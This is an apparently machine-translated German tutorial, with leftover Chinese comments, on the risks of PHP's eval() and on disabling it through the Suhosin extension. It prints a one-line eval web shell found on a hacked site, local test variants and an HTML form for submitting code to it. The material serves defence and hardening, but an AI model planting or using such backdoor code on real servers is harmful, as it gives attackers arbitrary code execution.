Die Website wurde bereits zuvor von Hackern angegriffen und wir haben erfahren, dass die Evaluierungsfunktion von PHP große Sicherheitsrisiken birgt. Heute stellen wir die Methode zum Deaktivieren der Auswertung vor. Sie können bei Bedarf darauf zurückgreifen.
Vor einiger Zeit wurde die Website von Hackern angegriffen. Später, während der Untersuchung, fand ich ein PHP mit sehr wenig Inhalt:
<?php eval($_POST[asda123131323156341]);?>
Dann suchte ich online nach der Evaluierungsfunktion von PHP und fand dieses Auswertefunktion Mit großen Sicherheitsrisiken.
Testen Sie es lokal, schreiben Sie ein PHP in der lokalen Umgebung. Der Inhalt lautet wie folgt:
default.php:
<?php eval($_GET[asda]);?>
Dann besuchen Sie: localhost/test/default.php?asda=phpinfo();
Sie können Sehen Sie, dass es ausgeführt wurde phpinfo.
Oder besuchen Sie localhost/test/default.php?asda = echo 11111; Sie werden auch feststellen, dass 1111 ausgegeben wird.
Ähnliche Methoden umfassen:
<?php $code="${${eval($_GET[c])}}";?>
Besuchen Sie localhost/test/default.php?c=phpinfo(); um
<?php $code=addslashes($_GET[c]); eval(""$code""); ?>
Besuchen Sie localhost/test/default.php?c= ${${phpinfo( )}}; Sie können sehen: Mit der Eval-Funktion, die PHP ausführen kann, können Hacker damit einige Hintergrundtrojaner hochladen, z. B. das Hochladen von PHP, und dann über die URL auf PHP zugreifen, um größere Berechtigungen zu erhalten. Diese Art des Eindringens wird als Ein-Satz-Trojaner bezeichnet. Zum Beispiel: Schreiben Sie einen HTML-Code mit dem folgenden Inhalt:
<html> <body> <form action="default.php" method="post"> <input type="text" name="c" value="phpinfo();"> <input type="submit" value="submit"> </form> </body> </html>
Schreiben Sie dann eine default.php mit dem Inhalt: >
<?php eval($_POST[c]);?>
In diesem Fall können Sie direkt jedes PHP einreichen, das Sie ausführen möchten, und es ausführen.
Also: eval() hat eine große Zerstörungskraft für die PHP-Sicherheit. Um das Eindringen von Trojanern wie dem folgenden zu verhindern, muss sie daher verboten werden !
Allerdings sind viele Methoden im Internet, die disable_functions zum Deaktivieren der Auswertung verwenden, falsch!
Tatsächlich kann eval() nicht mit „disable_functions“ in php.ini deaktiviert werden:
weil eval() ein Sprachkonstrukt und keine Funktion ist
eval ist Zend, also keine PHP_FUNCTION-Funktion;
Na und über PHP Was ist mit dem Verbot von eval?
Wenn Sie eval deaktivieren möchten, können Sie die PHP-Erweiterung Suhosin verwenden:
Laden Sie nach der Installation von Suhosin Suhosin.so in php.ini und fügen Sie suhosin.executor.disable_eval = on hinzu!
Zusammenfassend lässt sich sagen, dass die Eval-Funktion von PHP in PHP nicht deaktiviert werden kann, sodass wir nur Plug-Ins verwenden können!
Was die Schritte zur Installation von Suhosin betrifft, um die Eval-Funktion zu deaktivieren: (nicht getestet)
Anleitung:
php-Installationsverzeichnis: /usr/local/php5
php.ini-Konfigurationsdateipfad: /usr/local/php5 /etc /php.ini
Nginx-Installationsverzeichnis:/usr/local/nginx
Nginx-Website-Stammverzeichnis:/usr/local/nginx/html
1. Installieren Sie das Kompilierungstool
yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
2. Installieren Sie suhosin
cd /usr/local/src #进入软件包存放目录 wget http://download.suhosin.org/suhosin-0.9.33.tgz #下载 tar zxvf suhosin-0.9.33.tgz #解压 cd suhosin-0.9.33 #进入安装目录 /usr/local/php5/bin/phpize #用phpize生成configure配置文件 ./configure --with-php-config=/usr/local/php5/bin/php-config #配置 make #编译 make install #安装 安装完成之后,出现下面的界面,记住以下路径,后面会用到。 Installing shared extensions: /usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/ #suhosin模块路径
3. Konfigurieren Sie PHP zur Unterstützung von Suhosin
vi /usr/local/php5/etc/php.ini #编辑配置文件,在最后一行添加以下内容 extension=/usr/local/php5/lib/php/extensions/no-debug-non-zts-20090626/suhosin.so suhosin.executor.disable_eval = on
Hinweis: suhosin.executor.disable_eval = on wird verwendet, um die Eval-Funktion zu deaktivieren
4. Testen Sie
vi /usr/local/nginx/html/phpinfo.php #Edit
<?php phpinfo(); ?>
:wq! #Speichern und beenden
Service PHP-FPM neu starten #restartphp-fpm
Service Nginx Neustart #Nginx neu starten
Hinweis: Wenn es Apache ist, ist es dasselbe, starten Sie Apache einfach neu.
Öffnen Sie phpinfo.php im Browser. Wie im Bild unten gezeigt, können Sie Suhosin-bezogene Informationen sehen.
An diesem Punkt ist die Suhosin-Installation von PHP unter Linux abgeschlossen!
Hinweis: Welche Konsequenzen hat die Deaktivierung der Evaluierung? Erstens kann Software, die eval im Code verwendet, es nicht normal verwenden, wie z. B. das berühmte Discuz!-Forum, und es wirkt sich auch auf die alte Version von phpMyAdmin aus Es wurde auf die neueste Version 3.2.5 aktualisiert und kann verwendet werden, ist jedoch standardmäßig verfügbar. Fügen Sie $cfg['SuhosinDisableWarning']=true; zu config.inc.php hinzu, um diese Warnung abzubrechen.
Hinweis: Zusätzlich zu eval wird auch Assert auf ähnliche Weise verwendet.
Empfohlenes Lernen:
php-Video-TutorialDas obige ist der detaillierte Inhalt vonSo verbieten Sie Eval mit Sicherheitsrisiken in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!